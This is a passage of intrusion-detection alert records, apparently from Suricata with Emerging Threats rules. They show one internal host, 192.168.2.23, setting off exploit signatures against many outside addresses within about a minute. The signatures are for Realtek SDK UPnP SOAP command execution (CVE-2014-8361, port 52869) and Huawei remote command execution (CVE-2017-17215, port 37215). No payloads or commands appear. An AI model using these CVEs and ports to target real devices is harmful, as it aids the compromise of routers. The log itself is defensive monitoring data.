Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 109.23.172.87

Timestamp:	07/20/24-23:01:08.560530
SID:	2831300
Source Port:	49680
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 17.17.223.92

Timestamp:	07/20/24-23:01:42.651912
SID:	2027339
Source Port:	35654
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.76.21.211

Timestamp:	07/20/24-23:01:43.918789
SID:	2027339
Source Port:	57088
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.189.55.135

Timestamp:	07/20/24-23:00:57.220685
SID:	2829579
Source Port:	36734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 137.218.170.227

Timestamp:	07/20/24-23:01:42.817395
SID:	2027339
Source Port:	35392
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 32.189.144.58

Timestamp:	07/20/24-23:01:44.446628
SID:	2025132
Source Port:	58682
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 149.78.178.94

Timestamp:	07/20/24-23:01:53.392805
SID:	2831300
Source Port:	54570
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 213.235.51.156

Timestamp:	07/20/24-23:01:49.567841
SID:	2025132
Source Port:	53186
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 99.148.114.78

Timestamp:	07/20/24-23:02:05.636717
SID:	2027339
Source Port:	34174
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 36.125.123.117

Timestamp:	07/20/24-23:01:31.329969
SID:	2831300
Source Port:	59718
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 105.62.150.147

Timestamp:	07/20/24-23:01:14.097135
SID:	2829579
Source Port:	50178
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 193.18.125.219

Timestamp:	07/20/24-23:01:56.210612
SID:	2831300
Source Port:	59372
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 97.24.147.38

Timestamp:	07/20/24-23:01:45.713934
SID:	2027339
Source Port:	60998
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.157.19.102

Timestamp:	07/20/24-23:01:26.151841
SID:	2027339
Source Port:	58956
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 64.151.112.79

Timestamp:	07/20/24-23:01:56.577149
SID:	2831300
Source Port:	44372
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 64.62.112.142

Timestamp:	07/20/24-23:01:00.634292
SID:	2835222
Source Port:	38768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 2.53.137.120

Timestamp:	07/20/24-23:01:31.986571
SID:	2835222
Source Port:	33436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 131.224.25.117

Timestamp:	07/20/24-23:01:11.639230
SID:	2829579
Source Port:	33910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 64.107.44.177

Timestamp:	07/20/24-23:01:43.078618
SID:	2027339
Source Port:	43602
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 201.173.108.254

Timestamp:	07/20/24-23:01:02.449592
SID:	2027339
Source Port:	43378
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.86.250.128

Timestamp:	07/20/24-23:00:59.153608
SID:	2835222
Source Port:	34534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 38.184.175.46

Timestamp:	07/20/24-23:01:52.546535
SID:	2027339
Source Port:	45056
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 172.247.8.242

Timestamp:	07/20/24-23:01:44.831437
SID:	2027339
Source Port:	51570
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.17.13.46

Timestamp:	07/20/24-23:00:57.221504
SID:	2829579
Source Port:	46632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 164.251.43.137

Timestamp:	07/20/24-23:01:08.623583
SID:	2831300
Source Port:	33670
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.122.89.119

Timestamp:	07/20/24-23:01:27.655551
SID:	2835222
Source Port:	54210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 88.49.181.78

Timestamp:	07/20/24-23:01:45.500697
SID:	2025132
Source Port:	59950
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 217.255.162.70

Timestamp:	07/20/24-23:02:02.527007
SID:	2027339
Source Port:	39876
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 125.246.56.225

Timestamp:	07/20/24-23:01:41.354322
SID:	2025132
Source Port:	35380
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 143.66.245.70

Timestamp:	07/20/24-23:01:42.608153
SID:	2027339
Source Port:	37398
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 131.104.254.70

Timestamp:	07/20/24-23:01:42.912947
SID:	2027339
Source Port:	32852
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 107.136.23.140

Timestamp:	07/20/24-23:00:59.157444
SID:	2829579
Source Port:	37038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 220.111.117.206

Timestamp:	07/20/24-23:01:43.498156
SID:	2025132
Source Port:	38412
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 17.182.173.35

Timestamp:	07/20/24-23:01:46.808111
SID:	2831300
Source Port:	47348
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 125.67.244.75

Timestamp:	07/20/24-23:01:55.666677
SID:	2027339
Source Port:	41774
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.65.44.128

Timestamp:	07/20/24-23:00:59.172943
SID:	2835222
Source Port:	43118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 53.5.161.227

Timestamp:	07/20/24-23:02:06.767377
SID:	2027339
Source Port:	42954
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 189.75.86.189

Timestamp:	07/20/24-23:01:01.139063
SID:	2025132
Source Port:	43466
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 88.132.0.162

Timestamp:	07/20/24-23:01:41.549051
SID:	2025132
Source Port:	50696
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 202.109.173.165

Timestamp:	07/20/24-23:01:46.176757
SID:	2027339
Source Port:	53902
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 137.133.156.16

Timestamp:	07/20/24-23:01:43.515688
SID:	2025132
Source Port:	38398
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 27.91.150.196

Timestamp:	07/20/24-23:02:21.324806
SID:	2025132
Source Port:	46214
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 220.112.19.15

Timestamp:	07/20/24-23:01:42.499887
SID:	2027339
Source Port:	33130
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 117.49.51.0

Timestamp:	07/20/24-23:01:08.939279
SID:	2831300
Source Port:	49680
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 114.188.204.238

Timestamp:	07/20/24-23:01:47.420081
SID:	2027339
Source Port:	51354
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.53.184.177

Timestamp:	07/20/24-23:00:59.203960
SID:	2829579
Source Port:	37906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.65.10.54

Timestamp:	07/20/24-23:01:24.877747
SID:	2829579
Source Port:	39132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 219.124.32.18

Timestamp:	07/20/24-23:01:41.345953
SID:	2027339
Source Port:	45422
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.95.186.20

Timestamp:	07/20/24-23:01:02.103737
SID:	2835222
Source Port:	45384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 83.234.152.115

Timestamp:	07/20/24-23:02:04.133788
SID:	2027339
Source Port:	58818
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 38.187.179.55

Timestamp:	07/20/24-23:01:40.291616
SID:	2829579
Source Port:	50054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 175.210.141.95

Timestamp:	07/20/24-23:01:52.701293
SID:	2027339
Source Port:	53396
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 159.45.241.196

Timestamp:	07/20/24-23:01:59.030102
SID:	2027339
Source Port:	36116
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 78.5.59.56

Timestamp:	07/20/24-23:01:42.637859
SID:	2027339
Source Port:	57312
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 83.201.129.18

Timestamp:	07/20/24-23:01:52.543362
SID:	2831300
Source Port:	58208
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.63.85.196

Timestamp:	07/20/24-23:01:07.021159
SID:	2829579
Source Port:	60526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 103.180.88.194

Timestamp:	07/20/24-23:01:57.943877
SID:	2025132
Source Port:	50128
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 143.254.203.194

Timestamp:	07/20/24-23:01:44.491962
SID:	2027339
Source Port:	54654
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 75.161.254.133

Timestamp:	07/20/24-23:01:42.147980
SID:	2831300
Source Port:	47972
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.168.86.78

Timestamp:	07/20/24-23:00:59.211046
SID:	2835222
Source Port:	33444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 103.68.36.118

Timestamp:	07/20/24-23:01:41.967549
SID:	2831300
Source Port:	48812
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.212.226.255

Timestamp:	07/20/24-23:01:21.923917
SID:	2835222
Source Port:	56318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 20.143.101.231

Timestamp:	07/20/24-23:01:42.069870
SID:	2831300
Source Port:	33706
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.73.42.54

Timestamp:	07/20/24-23:01:20.161614
SID:	2835222
Source Port:	55702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 206.12.145.11

Timestamp:	07/20/24-23:01:42.891313
SID:	2027339
Source Port:	35544
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 48.69.126.229

Timestamp:	07/20/24-23:01:08.578727
SID:	2831300
Source Port:	38080
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.137.225.59

Timestamp:	07/20/24-23:01:10.633889
SID:	2027339
Source Port:	54264
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.129.229.179

Timestamp:	07/20/24-23:01:08.620788
SID:	2027339
Source Port:	60702
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 221.139.54.252

Timestamp:	07/20/24-23:02:05.287905
SID:	2025132
Source Port:	55880
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 34.93.53.66

Timestamp:	07/20/24-23:01:24.862410
SID:	2835222
Source Port:	55724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 74.81.74.58

Timestamp:	07/20/24-23:01:49.525770
SID:	2027339
Source Port:	57812
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.56.72.194

Timestamp:	07/20/24-23:01:05.126622
SID:	2027339
Source Port:	42544
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 49.127.162.127

Timestamp:	07/20/24-23:01:56.300735
SID:	2831300
Source Port:	52236
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.31.171.242

Timestamp:	07/20/24-23:01:20.149798
SID:	2835222
Source Port:	33656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 39.114.224.236

Timestamp:	07/20/24-23:01:44.765093
SID:	2831300
Source Port:	33644
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.165.149.247

Timestamp:	07/20/24-23:02:00.351070
SID:	2027339
Source Port:	45256
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 47.30.224.199

Timestamp:	07/20/24-23:01:42.486622
SID:	2831300
Source Port:	43704
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.58.16.237

Timestamp:	07/20/24-23:01:02.095698
SID:	2829579
Source Port:	51666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 75.178.59.59

Timestamp:	07/20/24-23:01:24.724267
SID:	2025132
Source Port:	42848
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 210.132.156.163

Timestamp:	07/20/24-23:00:59.204975
SID:	2829579
Source Port:	55528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.10.179.128

Timestamp:	07/20/24-23:01:03.407760
SID:	2027339
Source Port:	53640
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 81.64.188.238

Timestamp:	07/20/24-23:01:11.630767
SID:	2829579
Source Port:	46646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.215.162.139

Timestamp:	07/20/24-23:01:20.169339
SID:	2829579
Source Port:	37634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 207.246.209.117

Timestamp:	07/20/24-23:01:13.983744
SID:	2025132
Source Port:	40058
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.112.45.111

Timestamp:	07/20/24-23:02:11.380126
SID:	2027339
Source Port:	47888
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 146.174.220.5

Timestamp:	07/20/24-23:02:09.668312
SID:	2027339
Source Port:	56908
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 149.78.178.94

Timestamp:	07/20/24-23:01:45.648154
SID:	2025132
Source Port:	54326
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.161.137.123

Timestamp:	07/20/24-23:01:08.691384
SID:	2027339
Source Port:	37212
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 107.35.253.244

Timestamp:	07/20/24-23:02:08.128674
SID:	2027339
Source Port:	46790
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.229.171.249

Timestamp:	07/20/24-23:01:31.975158
SID:	2829579
Source Port:	37716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.118.6.220

Timestamp:	07/20/24-23:01:44.449742
SID:	2027339
Source Port:	43924
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 154.201.154.131

Timestamp:	07/20/24-23:01:41.967549
SID:	2831300
Source Port:	44984
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.21.126.116

Timestamp:	07/20/24-23:01:04.058922
SID:	2829579
Source Port:	38558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 98.247.239.87

Timestamp:	07/20/24-23:01:27.668073
SID:	2835222
Source Port:	56550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 184.89.50.234

Timestamp:	07/20/24-23:01:52.343511
SID:	2025132
Source Port:	52950
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 189.124.57.3

Timestamp:	07/20/24-23:01:53.356560
SID:	2027339
Source Port:	51592
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.184.89.253

Timestamp:	07/20/24-23:00:59.158278
SID:	2835222
Source Port:	39054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 223.83.213.222

Timestamp:	07/20/24-23:01:03.225977
SID:	2025132
Source Port:	43060
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.73.57.190

Timestamp:	07/20/24-23:01:52.425638
SID:	2027339
Source Port:	59232
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

